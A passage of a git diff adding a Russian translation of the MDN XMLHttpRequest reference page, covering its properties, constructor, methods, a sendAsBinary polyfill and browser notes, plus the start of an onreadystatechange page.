+       <td><code>1</code></td>
+       <td><code>OPENED</code></td>
+       <td>Вызван метод open<code>()</code>. В этом состоянии можно добавить заголовки через метод <code>setRequestHeader()</code>; вызов метода <code>send()</code> отправит запрос.</td>
+      </tr>
+      <tr>
+       <td><code>2</code></td>
+       <td><code>HEADERS_RECEIVED</code></td>
+       <td>Вызван метод <code>send()</code>, получены заголовки и код ответа (200, 404, 501 и проч).</td>
+      </tr>
+      <tr>
+       <td><code>3</code></td>
+       <td><code>LOADING</code></td>
+       <td>Загрузка; если значение <code>responseType</code> равно "text" или пустой строке, то <code>responseText</code> содержит частичные данные.</td>
+      </tr>
+      <tr>
+       <td><code>4</code></td>
+       <td><code>DONE</code></td>
+       <td>Операция завершена. Все данные получены.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr id="response">
+   <td><code>response</code></td>
+   <td>varies</td>
+   <td>
+    <p>Тело сущности запроса. Соласно полю <code><a href="#responseType">responseType</a></code>, может быть <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a>, <a href="/en/DOM/Blob" title="en/DOM/Blob"><code>Blob</code></a>, {{ domxref("Document") }}, JavaScript объектом (для "json"), или строкой. Равно <code>null</code> если запрос не завершен или окончен с ошибкой.</p>
+   </td>
+  </tr>
+  <tr id="responseText">
+   <td><code>responseText</code> {{ReadOnlyInline()}}</td>
+   <td><code>DOMString</code></td>
+   <td>Ответ на запрос в виде строки или <code>null</code> в случае если запрос не успешен или ответ еще не получен.</td>
+  </tr>
+  <tr id="responseType">
+   <td><code>responseType</code></td>
+   <td><code>XMLHttpRequestResponseType</code></td>
+   <td>
+    <p>Может использоваться для определения типа ответа.</p>
+
+    <table class="standard-table" style="width: auto;">
+     <tbody>
+      <tr>
+       <td class="header">Value</td>
+       <td class="header">Data type of <code>response</code> property</td>
+      </tr>
+      <tr>
+       <td><code>""</code> (пустая строка)</td>
+       <td>String (строка, дефолтное значение)</td>
+      </tr>
+      <tr>
+       <td><code>"arraybuffer"</code></td>
+       <td><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a></td>
+      </tr>
+      <tr>
+       <td><code>"blob"</code></td>
+       <td>{{ domxref("Blob") }}</td>
+      </tr>
+      <tr>
+       <td><code>"document"</code></td>
+       <td>{{ domxref("Document") }}</td>
+      </tr>
+      <tr>
+       <td><code>"json"</code></td>
+       <td>JavaScript объект, полученный путем парсинга JSON строки, полученной с сервера.</td>
+      </tr>
+      <tr>
+       <td><code>"text"</code></td>
+       <td>String (строка)</td>
+      </tr>
+      <tr>
+       <td><code>"moz-blob"</code></td>
+       <td>Firefox - велосипед, который позволяет работать с частично-полученными данными {{ domxref("Blob") }} при помощи событий прогресса (progressing events). Эта штука позволяет работать с ответом от сервера, до того как он получен полностью.</td>
+      </tr>
+      <tr>
+       <td><code>"moz-chunked-text"</code></td>
+       <td>
+        <p>Похоже на поле <code>"text"</code>, но только находится в потоке(streaming). Это значит, что значение доступно только в промежуток времени между событиями прогресса (<code>"progress"</code> event), и содержит данные которые пришли из последнего события прогресса.</p>
+
+        <p>Поле содержит строку, пока выполняются события прогресса. После того как ответ получен польность, значение поля меняется на <code>null</code>.</p>
+
+        <p>Работает только в Firefox.</p>
+       </td>
+      </tr>
+      <tr>
+       <td><code>"moz-chunked-arraybuffer"</code></td>
+       <td>
+        <p>Похоже на поле <code>"arraybuffer"</code>, но только находится в потоке(streaming). Это значит, что значение доступно только в промежуток времени между событиями прогресса (<code>"progress"</code> event), и содержит данные которые пришли из последнего события прогресса.</p>
+
+        <p>Поле содержит строку, пока выполняются события прогресса. После того как ответ получен полностью, значение поля меняется на <code>null</code>.</p>
+
+        <p>Работает только в Firefox.</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+
+    <div class="note"><strong>Note:</strong> Starting with Gecko 11.0 {{ geckoRelease("11.0") }}, as well as WebKit build 528, these browsers no longer let you use the <code>responseType</code> attribute when performing synchronous requests. Attempting to do so throws an <code>NS_ERROR_DOM_INVALID_ACCESS_ERR</code> exception. This change has been proposed to the W3C for standardization.</div>
+   </td>
+  </tr>
+  <tr id="responseXML">
+   <td><code>responseXML</code> {{ReadOnlyInline()}}</td>
+   <td><code>Document?</code></td>
+   <td>
+    <p>Ответ является объектом DOM <code><a class="internal" href="/en/DOM/document" title="En/DOM/Document">Document</a></code>, или <code>null в случае если запрос окончился ошибкой, или ответ не получен полностью, или если ответ невозможно распарсить как </code>XML или HTML. Ответ парсится как если бы это был <code>text/xml</code> stream. Когда значение <code>responseType</code> равно <code>"document"</code> и запрос выполнен асинхронно, ответ парсится как <code>text/html</code> stream.</p>
+
+    <div class="note"><strong>Примечание:</strong> Если сервер не работаетс заголовком (не присылает в ответе) "Content-type: <code>text/xml"</code>, то можно использовать метод <code>overrideMimeType() для того чтобы парсить получаемый ответ как </code>XML.</div>
+   </td>
+  </tr>
+  <tr id="status">
+   <td><code>status</code> {{ReadOnlyInline()}}</td>
+   <td><code>unsigned short</code></td>
+   <td>Статус ответа на запрос. Равен кодам HTTP (200 - успешно, 404 не найдено, 301 - перенесено навсегда).</td>
+  </tr>
+  <tr id="statusText">
+   <td><code>statusText</code> {{ReadOnlyInline()}}</td>
+   <td><code>DOMString</code></td>
+   <td>Строка статуса ответа. В отличи от поля <code>status</code>, эта строка включает в себя текст - ("<code>200 OK</code>", например).</td>
+  </tr>
+  <tr id="timeout">
+   <td><code>timeout</code></td>
+   <td><code>unsigned long</code></td>
+   <td>
+    <p>Время в миллисекундах, после которого запрос будет отменен. Значение 0 (по умолчанию) значит что таймаута не будет. Никогда.</p>
+
+    <div class="note"><strong>Примечание:</strong> Вы можете не использовать поле timeout для синхронных запросов из owning window.</div>
+   </td>
+  </tr>
+  <tr id="ontimeout">
+   <td><code>ontimeout</code></td>
+   <td><code>Function</code></td>
+   <td>
+    <p>Функция обратного вызова которая будет вызвана в случае таймаута.</p>
+   </td>
+  </tr>
+  <tr id="upload">
+   <td><code>upload</code></td>
+   <td><code>XMLHttpRequestUpload</code></td>
+   <td>Загрзка (upload process) может отслеживаться event listener'ом.</td>
+  </tr>
+  <tr id="withCredentials">
+   <td><code>withCredentials</code></td>
+   <td><code>boolean</code></td>
+   <td>
+    <p>Определяет что cross-site запрос, согласно <code>Access-Control</code>  должен использовать авторизацию (креды для логина и пароля) через куки, или заголовок с авторизационными данными. По умолчанию false.</p>
+
+    <div class="note"><strong>Примечание:</strong> Не влияет на same-site запросы.</div>
+
+    <div class="note"><strong>Примечание:</strong> Начиная с Gecko 11.0 {{ geckoRelease("11.0") }}, Gecko больше не позволяет использовать поле <code>withCredentials</code> при выполнении синхронных запросов. Попытка выполнить это выбрасывает <code>NS_ERROR_DOM_INVALID_ACCESS_ERR</code> исключение.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Нестандартные_свойства">Нестандартные свойства</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Attribute</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+  <tr id="channel">
+   <td><code>channel</code> {{ReadOnlyInline()}}</td>
+   <td>{{Interface("nsIChannel")}}</td>
+   <td>The channel used by the object when performing the request. This is <code>null</code> if the channel hasn't been created yet. In the case of a multi-part request, this is the initial channel, not the different parts in the multi-part request. <strong>Requires elevated privileges to access.</strong></td>
+  </tr>
+  <tr id="mozAnon">
+   <td><code>mozAnon</code> {{ReadOnlyInline()}}</td>
+   <td><code>boolean</code></td>
+   <td>
+    <p>Если значение равно true, запрос отправляется без куки и заголовков авторизации.</p>
+   </td>
+  </tr>
+  <tr id="mozSystem">
+   <td><code>mozSystem</code> {{ReadOnlyInline()}}</td>
+   <td><code>boolean</code></td>
+   <td>
+    <p>Если значение равно true, same origin policy не будут использоваться в запросе (кроссдоменный запрос не сработает).</p>
+   </td>
+  </tr>
+  <tr id="mozBackgroundRequest">
+   <td><code>mozBackgroundRequest</code></td>
+   <td><code>boolean</code></td>
+   <td>
+    <div class="note">
+    <p>Этот метод не может быть вызван из контекста страницы. Для того чтобы воспользоваться им нужны повышенные привелегии (elevated privileges).</p>
+    </div>
+
+    <p>Флаг, означающий что запрос от пользователя надо скрыть. Для пользователя не появится никаких сообщений и/или оповещений что запрос вообще был.</p>
+
+    <p>В случае, если для продолжения запроса нужна какая-то аутентификация, и в других случаях было бы отображено оповещение, этот запрос просто не сработает.</p>
+
+    <div class="note"><strong>Note: Этот флаг должен быть выставлен до вызова метода </strong><code>open()</code>.</div>
+   </td>
+  </tr>
+  <tr id="mozResponseArrayBuffer">
+   <td><code>mozResponseArrayBuffer</code> {{ obsolete_inline("6") }} {{ReadOnlyInline()}}</td>
+   <td><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a></td>
+   <td>Массив, в который ляжет ответ от сервера, если ответ приходит в виде Javascript массива ([]). В случае, если запрос не удалось завершить, или если запрос не был отправлен, то это поле будет null.</td>
+  </tr>
+  <tr id="multipart">
+   <td><code>multipart</code> {{ obsolete_inline("22") }}</td>
+   <td><code>boolean</code></td>
+   <td>
+    <p><strong>This Gecko-only feature was removed in Firefox/Gecko 22.</strong> Please use <a href="/en-US/docs/Server-sent_events" title="/en-US/docs/Server-sent_events">Server-Sent Events</a>, <a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">Web Sockets</a>, or <code>responseText</code> from progress events instead.</p>
+
+    <p>Indicates whether or not the response is expected to be a stream of possibly multiple XML documents. If set to <code>true</code>, the content type of the initial response must be <code>multipart/x-mixed-replace</code> or an error will occur. All requests must be asynchronous.</p>
+
+    <p>This enables support for server push; for each XML document that's written to this request, a new XML DOM document is created and the <code>onload</code> handler is called between documents.</p>
+
+    <div class="note"><strong>Note:</strong> When this is set, the <code>onload</code> handler and other event handlers are not reset after the first XMLdocument is loaded, and the <code>onload</code> handler is called after each part of the response is received.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<h3 id="XMLHttpRequest()" name="XMLHttpRequest()">XMLHttpRequest()</h3>
+
+<p>Конструктор создает объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.</p>
+
+<p>Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677" title="692677 – Relax same-origin XHR restrictions for privileged applications">Bug 692677</a>). Установка флага <code>mozAnon</code> в значение <code>true</code> создает сущность <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).</p>
+
+<pre>XMLHttpRequest (
+  JSObject objParameters
+);</pre>
+
+<h5 id="Параметры_(нестандартные)">Параметры (нестандартные)</h5>
+
+<dl>
+ <dt><code>objParameters</code></dt>
+ <dd>Вы можете использовать два флага:
+ <dl>
+  <dt><code>mozAnon</code></dt>
+  <dd>Boolean: Использование этого флага уберет из запроса заголовки origin, и <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">user credentials</a>. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.</dd>
+  <dt><code>mozSystem</code></dt>
+  <dd>Boolean: Если выставить этот флаг в значение <code>true</code> то это позволит делать cross-доменные запросы без необходимости получения специальных заголовков со стороны сервера (CORS). Для использования этого флага необходимо использовать дополнительный флаг<em> <code>mozAnon: true</code>, поскольку для отправки запроса на другой домен, нельзя использовать куки и креды пользователя. Этот флаг <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=692677#c68" title="Bug 692677 comment 68">работает только с привилегированными (одобренными) приложениями</a>; он не сработает с произвольно загруженными страницами.</em></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<h3 id="abort()" name="abort()">abort()</h3>
+
+<p>Отменяет запрос, если он был отправлен.</p>
+
+<h3 id="getAllResponseHeaders()" name="getAllResponseHeaders()">getAllResponseHeaders()</h3>
+
+<pre>DOMString getAllResponseHeaders();</pre>
+
+<p>Возвращает все заголовки ответа как строку, или <code>null</code> если ответ не был получен. Для multypart запросов возвращает заголовки текущей части запроса, а не всего канала.</p>
+
+<h3 id="getResponseHeader()" name="getResponseHeader()">getResponseHeader()</h3>
+
+<pre>DOMString? getResponseHeader(DOMString <var>header</var>);</pre>
+
+<p>Возвращает значение указанного заголовка из полученного ответа, или <code>null</code> в случает если ответ не получен, или такого заголовка в ответе нет. Возвращаемая строка имеет кодировку UTF.</p>
+
+<div class="note">
+<p><code><strong>Примечание: </strong>Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделенную запятой и пробелом.</code></p>
+</div>
+
+<h3 id="open()" name="open()">open()</h3>
+
+<p>Инициализирует запрос. Этот метод может (и должен) быть вызван из JavaScript кода; если необходимо вызвать запрос из нативного кода, то нужно использовать метод <a class="internal" href="/en/nsIXMLHttpRequest#openRequest()" title="/en/XMLHttpRequest#openRequest()"><code>openRequest()</code></a>.</p>
+
+<div class="note"><strong>Примечание:</strong> Вызов этого метода из активного запроса (если метод <code>open() или</code> <code>openRequest() уже были вызваны</code>) эквивалентно вызову метода <code>abort()</code>.</div>
+
+<pre>void open(
+   DOMString <var>method</var>,
+   DOMString <var>url</var>,
+   optional boolean <var>async</var>,
+   optional DOMString <var>user</var>,
+   optional DOMString <var>password</var>
+);
+</pre>
+
+<h6 id="Параметры">Параметры</h6>
+
+<dl>
+ <dt><code>method</code></dt>
+ <dd>HTTP метод отправки сообщения - "GET", "POST", "PUT", "DELETE", и проч. Ignored for non-HTTP(S) URLs.</dd>
+ <dt><code>url</code></dt>
+ <dd>URL адрес, на который будет отправлено сообщение.</dd>
+ <dt><code>async</code></dt>
+ <dd>Необязательный boolean параметр, по умолчанию равный <code>true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно</code> <code>false</code>, метод <code>send() вернет ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определенных </code>event listener'ов. В случае, если используется отправка <code>multipart</code> запроса, то этот атрибут <strong>должен </strong>быть <code>true</code>, или будет выброшено исключение.
+ <div class="note"><strong>Примечание:</strong> Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронные запросы объявлены как deprecated, в силу того что все пользователи недовольны тем, что приложение "зависает".</div>
+ </dd>
+ <dt><code>user</code></dt>
+ <dd>Необязательный параметр, используется для аутентификации пользователя. По умолчанию, пустая строка.</dd>
+ <dt><code>password</code></dt>
+ <dd>Необязательный параметр, используется для аутентификации пользователя. По умолчанию пустая строка.</dd>
+</dl>
+
+<h3 id="overrideMimeType()" name="overrideMimeType()">overrideMimeType()</h3>
+
+<p>Переопределяет MIME тип, получаемый от сервера. Это может быть использовано, например, для того чтобы получить и распарсить данные в формате text/xml, даже, если сервер сообщает что это не так. Этот метод должен быть вызван перед вызовом метода <code>send()</code>.</p>
+
+<pre>void overrideMimeType(DOMString <var>mimetype</var>);</pre>
+
+<h3 id="send()" name="send()">send()</h3>
+
+<p>Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернет значение сразу после того как метод вызван.</p>
+
+<div class="note">
+<p><strong>Примечание переводчика: </strong>в этом случае, в ответе не будет содержаться информации, которая пришла с сервера, поскольку она еще не пришла. Для того чтобы получить эту информацию, нужно слушать события загрузки, или использовать promise.</p>
+</div>
+
+<p>Если запрос синхронный, то метод вернет значение только после того, как придет запрос от сервера.</p>
+
+<div class="note"><strong>Примечание:</strong> все необходимые слушатели событий (event listeners) должны быть установлены перед вызовом <code>send()</code>.</div>
+
+<div class="note"><strong>Примечание:</strong> Лучше не использовать параметр ArrayBuffer. Сейчас он не входит в спецификацию <code>XMLHttpRequest</code>. Вместо него можно использовать ArrayBufferView (смотри таблицу совместимости для различных версий).</div>
+
+<pre>void send();
+<s>void send(ArrayBuffer <var>data</var>);</s>
+void send(ArrayBufferView <var>data</var>);
+void send(Blob <var>data</var>);
+void send(Document <var>data</var>);
+void send(DOMString? <var>data</var>);
+void send(FormData <var>data</var>);</pre>
+
+<h6 id="Примечания">Примечания</h6>
+
+<p>Если тип <var>data</var> - <code>Document</code>, то он будет сериализован перед отправкой. Firefox до версии 3 всегда отправляет такой запрос в кодировке UTF-8; <a href="/en/Firefox_3" rel="internal" title="en/Firefox_3">Firefox 3</a> отправляет данные в той кодировке, которая указаны в <code>body.xmlEncoding</code>, или UTF-8 если такой информации нет.</p>
+
+<p>If it's an <code>nsIInputStream</code>, it must be compatible with <code>nsIUploadChannel</code>'s <code>setUploadStream()</code>method. In that case, a Content-Length header is added to the request, with its value obtained using <code>nsIInputStream</code>'s <code>available()</code>method. Any headers included at the top of the stream are treated as part of the message body. The stream's MIMEtype should be specified by setting the Content-Type header using the <a class="internal" href="#setRequestHeader()" title="/en/XMLHttpRequest#setRequestHeader()"><code>setRequestHeader()</code></a> method prior to calling <code>send()</code>.</p>
+
+<p>The best way to send binary content (like in files upload) is using an <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView">ArrayBufferView</a> or <a href="/en-US/docs/DOM/Blob" title="/en-US/docs/DOM/Blob">Blobs</a> in conjuncton with the <code>send()</code> method. However, if you want to send a <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">stringifiable</a> raw data, use the <a href="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()" title="/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()"><code>sendAsBinary()</code></a> method instead, or the <a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" title="This API is not native.">Non native</span> typed arrays superclass.</p>
+
+<h3 id="setRequestHeader()" name="setRequestHeader()">setRequestHeader()</h3>
+
+<p>Устанавливает значение заголовка HTTP-запроса. Вы должны вызвать <code>setRequestHeader()</code> после <a href="#open"><code>open()</code></a>, но перед <code>send()</code>. Если данный метод вызывается несколько раз с одним и тем же заголовком, все значения объеденяются в один заголовок запроса.</p>
+
+<pre>void setRequestHeader(
+   DOMString <var>header</var>,
+   DOMString <var>value</var>
+);
+</pre>
+
+<h6 id="Параметры_2">Параметры</h6>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>Имя заголовка, значение которого будет установлено.</dd>
+ <dt><code>value</code></dt>
+ <dd>Значение, заданное как тело заголовка.</dd>
+</dl>
+
+<h3 id="Нестандартные_методы">Нестандартные методы</h3>
+
+<h4 id="init()">init()</h4>
+
+<p>Инициализирует объект для использования с C++ кодом.</p>
+
+<div class="warning"><strong>Внимание:</strong> Этот метод <strong><em>нельзя</em></strong> вызывать из JavaScript.</div>
+
+<pre>[noscript] void init(
+   in nsIPrincipal principal,
+   in nsIScriptContext scriptContext,
+   in nsPIDOMWindow ownerWindow
+);
+</pre>
+
+<h5 id="Параметры_3">Параметры</h5>
+
+<dl>
+ <dt><code>principal</code></dt>
+ <dd>
+ <p>Принцип, используемый для запроса; не должен быть <code>null</code>.</p>
+ </dd>
+ <dt><code>scriptContext</code></dt>
+ <dd>
+ <p>Контекст скрипта, используемого для запроса; не должен быть <code>null</code>.</p>
+ </dd>
+ <dt><code>ownerWindow</code></dt>
+ <dd>
+ <p>Окно, связанное с запросом; может быть <code>null</code>.</p>
+ </dd>
+</dl>
+
+<h4 id="openRequest()">openRequest()</h4>
+
+<p>Инициализирует запрос. Этот метод должен использоваться из собственного кода; для инициализации запроса из кода JavaScript вместо этого используйте используйте <code><a class="internal" href="/en/nsIXMLHttpRequest#open()" title="/en/XMLHttpRequest#open()">open()</a></code> метод. Смотрите документацию для <code><a class="internal" href="/en/nsIXMLHttpRequest#open()" title="/en/XMLHttpRequest#open()">open()</a></code>.</p>
+
+<h4 id="sendAsBinary()_deprecated_inline(31)">sendAsBinary() {{ deprecated_inline(31) }}</h4>
+
+<p>Вариант метода <code>send()</code> который посылает бинарные данные.</p>
+
+<div class="note"><strong>Примечание:</strong> Етот нестандартный метод считается устарелым по состоянию на Gecko 31 {{ geckoRelease(31) }}, и со временем будет удален. Взамен может использоваться стандарт метода <code>send(Blob data).</code> </div>
+
+<pre>void sendAsBinary(
+   in DOMString body
+);
+</pre>
+
+<p>Даный метод используется в сочетании с методом <code><a href="/en-US/docs/DOM/FileReader#readAsBinaryString()" title="/en-US/docs/DOM/FileReader#readAsBinaryString()">readAsBinaryString</a>,</code> который присутствует в <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> API, и позволяет <a href="https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">прочитать и <strong>загрузить</strong> файл любого типа</a> и превратить необработанные данные в <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">JSON-строку</a>.</p>
+
+<h5 id="Параметры_4">Параметры</h5>
+
+<dl>
+ <dt><code>body</code></dt>
+ <dd>Тело запроса в виде <a href="https://developer.mozilla.org/ru/docs/Web/API/DOMString">DOMstring</a>. Эти данные конвертированы в строку с однобайтовыми символами с помощью усечения (удаления байта с высоким порядком в каждом символе).</dd>
+</dl>
+
+<h5 id="sendAsBinary()_polyfill"><code>sendAsBinary()</code> polyfill</h5>
+
+<p>Since <code>sendAsBinary()</code> is an experimental feature, here is <strong>a polyfill</strong> for browsers that <em>don't</em> support the <code>sendAsBinary()</code> method but support <a href="/en-US/docs/JavaScript/Typed_arrays" title="/en-US/docs/JavaScript/Typed_arrays">typed arrays</a>.</p>
+
+<pre class="brush: js">/*\
+|*|
+|*|  :: XMLHttpRequest.prototype.sendAsBinary() Polyfill ::
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest#sendAsBinary()
+|*|
+\*/
+
+if (!XMLHttpRequest.prototype.sendAsBinary) {
+  XMLHttpRequest.prototype.sendAsBinary = function (sData) {
+    var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
+    for (var nIdx = 0; nIdx &lt; nBytes; nIdx++) {
+      ui8Data[nIdx] = sData.charCodeAt(nIdx) &amp; 0xff;
+    }
+    /* send as ArrayBufferView...: */
+    this.send(ui8Data);
+    /* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); */
+  };
+}</pre>
+
+<div class="note"><strong>Note:</strong> It's possible to build this polyfill putting two types of data as argument for <code>send()</code>: an <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> (<code>ui8Data.buffer</code> – the commented code) or an <a href="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/JavaScript/Typed_arrays/ArrayBufferView"><code>ArrayBufferView</code></a> (<code>ui8Data</code>, which is a <a href="/en-US/docs/JavaScript/Typed_arrays/Uint8Array" title="/en-US/docs/JavaScript/Typed_arrays/Uint8Array">typed array of 8-bit unsigned integers</a> – uncommented code). However, on Google Chrome, when you try to send an <code>ArrayBuffer</code>, the following warning message will appear: <code>ArrayBuffer is deprecated in XMLHttpRequest.send(). Use ArrayBufferView instead.</code> Another possible approach to send binary data is the <a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" style="background-color: #ffffff;" title="This API is not native.">Non native</span> typed arrays superclass in conjunction with the <a href="#send()" title="#send()"><code>send()</code></a> method.</div>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li class="note">By default, Firefox 3 limits the number of <code>XMLHttpRequest</code> connections per server to 6 (previous versions limit this to 2 per server). Some interactive web sites may keep an <code>XMLHttpRequest</code> connection open, so opening multiple sessions to such sites may result in the browser hanging in such a way that the window no longer repaints and controls don't respond. This value can be changed by editing the <code>network.http.max-persistent-connections-per-server</code> preference in <code><a class="linkification-ext" href="/about:config" title="Linkification: about:config">about:config</a></code>.</li>
+ <li class="note">From {{ gecko("7.0") }} headers set by {{ manch("setRequestHeader") }} are sent with the request when following a redirect. Previously these headers would not be sent.</li>
+ <li class="note"><code>XMLHttpRequest</code> is implemented in Gecko using the {{ interface("nsIXMLHttpRequest") }}, {{ interface("nsIXMLHttpRequestEventTarget") }}, and {{ interface("nsIJSXMLHttpRequest") }} interfaces.</li>
+ <li class="note">When a request reaches its timeout value, a "timeout" event is raised.</li>
+</ul>
+
+<h4 class="note" id="Events">Events</h4>
+
+<p><code>onreadystatechange</code> as a property of the <code>XMLHttpRequest</code> instance is supported in all browsers.</p>
+
+<p>Since then, a number of additional event handlers were implemented in various browsers (<code>onload</code>, <code>onerror</code>, <code>onprogress</code>, etc.). These are supported in Firefox. In particular, see {{ interface("nsIXMLHttpRequestEventTarget") }} and <a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a>.</p>
+
+<p>More recent browsers, including Firefox, also support listening to the <code>XMLHttpRequest</code> events via standard <code><a href="/en/DOM/element.addEventListener" title="element.addEventListener">addEventListener</a></code> APIs in addition to setting <code>on*</code> properties to a handler function.</p>
+
+<h2 id="Permissions" name="Permissions">Permissions</h2>
+
+<p>When using System XHR via the <code>mozSystem</code> property, for example for Firefox OS apps, you need to be sure to add the <code>systemXHR</code> permission into your manifest file. System XHR can be used in privileged or certified apps.</p>
+
+<pre class="brush: js">"permissions": {
+    "systemXHR":{}
+}</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.XMLHttpRequest")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>MDN articles about XMLHttpRequest:
+  <ul>
+   <li><a href="/en/AJAX/Getting_Started" title="en/AJAX/Getting_Started">AJAX - Getting Started</a></li>
+   <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+   <li><a href="/en/HTML_in_XMLHttpRequest" title="en/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+   <li><a href="/en/DOM/XMLHttpRequest/FormData" title="en/XMLHttpRequest/FormData"><code>FormData</code></a></li>
+  </ul>
+ </li>
+ <li>XMLHttpRequest references from W3C and browser vendors:
+  <ul>
+   <li><a class="external" href="http://www.w3.org/TR/XMLHttpRequest1/">W3C: XMLHttpRequest</a> (base features)</li>
+   <li><a class="external" href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html" title="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">W3C: XMLHttpRequest</a> (latest editor's draft with extensions to the base functionality, formerly XMLHttpRequest Level 2</li>
+   <li><a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+   <li><a class="external" href="https://developer.apple.com/library/safari/#documentation/AppleApplications/Conceptual/SafariJSProgTopics/Articles/XHR.html">Apple developers' reference</a></li>
+  </ul>
+ </li>
+ <li><a class="external" href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a class="external" href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks - New Tricks in XMLHttpRequest2</a></li>
+ <li><a href="http://programmers.stackexchange.com/questions/157375/why-does-xmlhttprequest-not-seem-to-follow-a-naming-convention">Thread on the naming convention of <code>XMLHttpRequest</code></a></li>
+ <li><code>Chrome scope availability</code> - how to access from JSM modules etc which do not have access to DOM
+  <ul>
+   <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+   <li><a href="/en-US/docs/nsIXMLHttpRequest">nsIXMLHttpRequest [en-US]</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html b/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html
new file mode 100644
index 0000000000..4069a6378b
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/onreadystatechange/index.html
@@ -0,0 +1,117 @@
+---
+title: XMLHttpRequest.onreadystatechange
+slug: Web/API/XMLHttpRequest/onreadystatechange
+tags:
+  - API
+  - XHR
+  - XMLHttpRequest
+  - Обработчик
+  - Свойство
+  - Событие
+  - Ссылка
+translation_of: Web/API/XMLHttpRequest/onreadystatechange
+---
+<div>{{APIRef}}</div>
+
